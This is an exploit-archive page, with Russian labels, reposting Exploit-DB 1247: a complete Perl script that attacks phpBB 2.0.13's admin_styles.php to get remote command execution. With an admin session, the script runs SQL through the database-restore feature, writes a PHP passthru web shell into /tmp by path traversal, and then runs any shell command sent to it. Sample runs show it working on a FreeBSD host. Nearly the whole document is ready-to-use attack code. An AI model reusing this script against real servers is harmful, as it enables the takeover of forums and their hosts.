- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 1247
- Проверка EDB
-
- Пройдено
- Автор
- RUSH
- Тип уязвимости
- REMOTE
- Платформа
- LINUX
- CVE
- null
- Дата публикации
- 2005-10-11
Код:
#!/usr/bin/perl
### r57phpbb_admin2exec.pl
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### phpBB admin_styles.php commands execution exploit
### tested on phpBB 2.0.13
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### by 1dt.w0lf
### RST/GHC
### http://rst.void.ru
### http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### screen
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c get_prefix
### -----------------------------------------------------------------------------------
### [~] Try to get prefix ...[ DONE ]
### PREFIX : phpbb_
### -----------------------------------------------------------------------------------
###
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -P phpbb_
### -----------------------------------------------------------------------------------
### [!] Method 2 - use "create\export style"
### [~] Try to run sql query in database ... [ DONE ]
### [~] Creating new style ... [ DONE ]
### [~] Creating file ... [ DONE ]
### [+] File successfully created! Now you can try execute command!
### [~] Delete style from database ... [ DONE ]
### -----------------------------------------------------------------------------------
###
### r57phpbb_admin2exec.pl -p http://blah.com/phpBB/admin/ -s 0864cb0abb396319c589ebc2a98c2c5d -c "uname -sr; id"
### -----------------------------------------------------------------------------------
### FreeBSD 5.3-RELEASE
### uid=80(www) gid=80(www) groups=80(www)
### -----------------------------------------------------------------------------------
### 20.04.2005
use LWP::UserAgent;
use Getopt::Std;
getopts("p:s:P:c:m:");
$path = $opt_p;
$sid = $opt_s;
$prefix = $opt_P || 'phpbb_';
$cmd = $opt_c || 'create';
$method = $opt_m || 2;
#################### LITTLE CONFIG
# forum on win or unix? commands split by ; or &&
$cmdspl = ';'; # unix
# filename for create. default is 'theme_info.cfg' for include in admin_styles.php?mode=addnew
# DONT CHANGE if you don't know that you do!!!
$filename = '/theme_info.cfg';
# folder for create file, we need folder writable for apache user, by default we use /tmp
$dir = '../../../../../../../../../../../../../../../../../../../../../tmp';
#################### END CONFIG
if(!$path || !$sid) { &usage; }
$xpl = LWP::UserAgent->new() or die;
if($cmd eq 'clear')
{
&show_header;
print "-----------------------------------------------------------------------------------\n";
print "[~] Clearing database ... ";
$sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="" AND template_name="";';
$suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
if(!$suc) { print " [ FAILED ]\n"; exit(); }
if($suc == 1) { print " [ DONE ]\n"; }
print "-----------------------------------------------------------------------------------\n";
exit();
}
if($cmd eq 'create' && $method == 1)
{
&show_header;
print "-----------------------------------------------------------------------------------\n";
print "[!] Method 1 - use \"INTO OUTFILE\"\n";
print "[!] Create file for including.\n";
print "[~] Try to run sql query in database...";
$sql = 'SELECT \'<? passthru($_POST[jagajaga]); ?>\' FROM '.$prefix.'users LIMIT 1 INTO OUTFILE \''.$dir.$filename.'\';';
$suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
if(!$suc) { print " [ FAILED ]\n"; exit(); }
if($suc == 2) { print " [ DONE ]\n[!] File already exists! Now you can try execute command!\n"; }
if($suc == 1) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; }
print "-----------------------------------------------------------------------------------\n";
exit();
}
if($cmd eq 'get_prefix')
{
&show_header;
print "-----------------------------------------------------------------------------------\n";
print "[~] Try to get prefix ...";
$res = $xpl->get(
"${path}admin_db_utilities.php?perform=backup&additional_tables=&backup_type=structure&drop=0&backupstart=1&gzipcompress=0&startdownload=1&sid=$sid"
);
if($res->is_success && $res->content =~ /(TABLE: )(.*)(auth_access)/)
{
$prefix = ($2)?($2):("No prefix");
print "[ DONE ]\nPREFIX : $prefix\n";
}
else { print "[ FAILED ]\n"; }
print "-----------------------------------------------------------------------------------\n";
exit(0);
}
if($cmd eq 'create' && $method == 2)
{
&show_header;
print "-----------------------------------------------------------------------------------\n";
print "[!] Method 2 - use \"create\\export style\"\n";
print "[~] Try to run sql query in database ...";
$sql = 'ALTER TABLE `'.$prefix.'themes` CHANGE `template_name` `template_name` VARCHAR( 255 ) NOT NULL;';
$suc = &phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
if(!$suc) { print " [ FAILED ]\n"; exit(); }
if($suc == 1) { print " [ DONE ]\n"; }
print "[~] Creating new style ...";
$res = $xpl->post(
"${path}admin_styles.php?sid=$sid",
[
'style_name' => '0wn',
'template_name' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir,
'mode' => 'create',
'submit' => 'Save Settings'
],
);
if($res->is_success){ print " [ DONE ]\n[~] Creating file ..."; }
else { print " [ FAILED ]\n"; exit(0); }
$res = $xpl->post(
"${path}admin_styles.php?sid=$sid",
[
'export_template' => 'a=12;passthru($_POST[jagajaga]);exit(0);//'.$dir,
'mode' => 'export',
'edit' => 'Submit'
],
);
if($res->is_success) { print " [ DONE ]\n[+] File successfully created! Now you can try execute command!\n"; }
else { print " [ FAILED ]\n"; exit(0); }
print "[~] Delete style from database ...";
$sql = 'DELETE FROM `'.$prefix.'themes` WHERE style_name="0wn";';
&phpbb_sql_query("${path}admin_db_utilities.php?sid=$sid",$sql);
print " [ DONE ]\n";
print "-----------------------------------------------------------------------------------\n";
exit(0);
}
$jagajaga = 'echo _GHC/RST_ ';
$jagajaga .= $cmdspl;
$jagajaga .= $cmd;
$jagajaga .= $cmdspl;
$jagajaga .= ' echo _GHC/RST_';
$res = $xpl->post(
"${path}admin_styles.php?mode=addnew&sid=${sid}&install_to=${dir}",
[
'jagajaga' => "$jagajaga"
]
);
&show_header;
if($res->content =~ /main\(\): Failed opening/) { print "[-] Error!\nFailed include file! Maybe you forgot create shell file first?\n"; exit(); }
@rez = split("_GHC/RST_",$res->content);
print "-----------------------------------------------------------------------------------\n";
print @rez[1];
print "-----------------------------------------------------------------------------------\n";
sub usage(){
print "-----------------------------------------------------------------------------------\n";
print " phpBB admin_styles.php command execution exploit by 1dt.w0lf\n";
print "-----------------------------------------------------------------------------------\n";
print "Usage: $0 [options]\n";
print "\nOptions:\n\n";
print " -p path to phpBB admin interface e.g. http://site.com/phpBB/admin/\n\n";
print " -s admin sid ... yeeesss you need admin rights for use this exploit =)\n\n";
print " -P database prefix (optional) default \"phpbb_\"\n\n";
print " -c [create|clear|get_prefix|(any unix/win command)]\n\n";
print " \"create\" for first create shell *default\n";
print " \"clear\" for delete our NULL styles from database\n";
print " \"get_prefix\" get table prefix\n";
print " \"any unix or win commands\" for commands execute =)\n\n";
print " -m method [1|2] (optional) default \"2\"\n\n";
print " 1 - use mysql function \"INTO OUTFILE\" for creating new file\n";
print " 2 - use phpBB functions \"create style\" and \"export style\" for create new file\n";
print "-----------------------------------------------------------------------------------\n";
print " RST/GHC private stuff , http://rst.void.ru , http://ghc.ru\n";
exit();
}
sub show_header()
{
print "-----------------------------------------------------------------------------------\n";
print " phpBB admin_styles.php command execution exploit by RST/GHC\n";
print "-----------------------------------------------------------------------------------\n";
}
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
);
if ($res->is_success)
{
if ($res->content =~ /already exists/) { return 2; }
if ($res->content =~ /The Database has been successfully restored/) { return 1; }
}
return 0;
}
# milw0rm.com [2005-10-11]- Источник
- www.exploit-db.com
